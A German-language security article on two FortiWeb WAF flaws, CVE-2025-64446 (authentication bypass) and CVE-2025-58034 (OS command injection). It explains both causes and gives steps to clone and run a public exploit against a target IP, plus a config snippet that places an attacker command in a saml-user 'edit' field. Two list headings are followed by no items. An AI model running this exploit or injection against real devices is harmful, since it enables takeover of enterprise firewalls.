
Sicherheitsforschung zu Fortinet FortiWeb-Schwachstellen (CVE-2025-64446, CVE-2025-58034)
Fortinet FortiWeb ist eine Web Application Firewall (WAF), die in Unternehmensumgebungen weit verbreitet eingesetzt wird, um Webanwendungen vor gängigen Bedrohungen zu schützen.
Da FortiWeb üblicherweise in der zentralen Schutzschicht sitzt, können Schwachstellen im Zusammenhang mit Authentifizierung oder Betriebssystem-Befehlsausführung schwerwiegende Auswirkungen auf die gesamte dahinterliegende Infrastruktur haben. Im Jahr 2025 wurden zwei schwerwiegende Schwachstellen in FortiWeb veröffentlicht:
CVE-2025-64446 – Authentifizierungs-Bypass durch Relative Path Traversal
CVE-2025-58034 – OS Command Injection im authentifizierten Kontext
CVE-2025-64446 resultiert daraus, dass FortiWeb die Zugriffspfade vor der Anwendung des Authentifizierungsmechanismus nicht streng verarbeitet und prüft.
Im Einzelnen:
Dieser Fehler führt dazu, dass einige administrative Endpunkte ohne gültige Authentifizierung aufgerufen werden können.
CVE-2025-58034 entsteht dadurch, dass FortiWeb Benutzereingaben beim Aufruf von Betriebssystembefehlen unsicher verarbeitet.
Zu den Hauptursachen gehören:
Diese Schwachstelle erfordert einen authentifizierten Kontext, stellt aber aufgrund der Befehlsausführung dennoch ein hohes Risiko dar.
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034
Die virtuelle Python-Umgebung (venv) dient dazu, eine unabhängige Arbeitsumgebung für jedes Projekt zu erstellen und die Abhängigkeiten vom Haupt-Python-System zu trennen. Dadurch werden Versionskonflikte bei Bibliotheken vermieden, die Stabilität der Arbeitsumgebung gewährleistet und die Auswirkungen auf das System begrenzt.
python3 -m venv venv source venv/bin/activate
pip install -r requirements.txt
python exploit.py <target_ip>

config user saml-user
edit "<YOUR COMMAND>"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
Die Schwachstelle CVE-2025-58034 entsteht dadurch, dass FortiWeb die Eingabedaten in einigen Konfigurationsfeldern nicht streng kontrolliert, insbesondere den Wert, der über den folgenden Befehl übergeben wird: edit "" Problem: Dieser Wert wird als Konfigurationszeichenfolge verarbeitet Anschließend wird er an interne Betriebssystembefehle übergeben Sonderzeichen werden nicht vollständig gefiltert oder escaped Dies führt dazu, dass Konfigurationsdaten die ausgeführten Betriebssystembefehle direkt beeinflussen können, was eine OS Command Injection verursacht.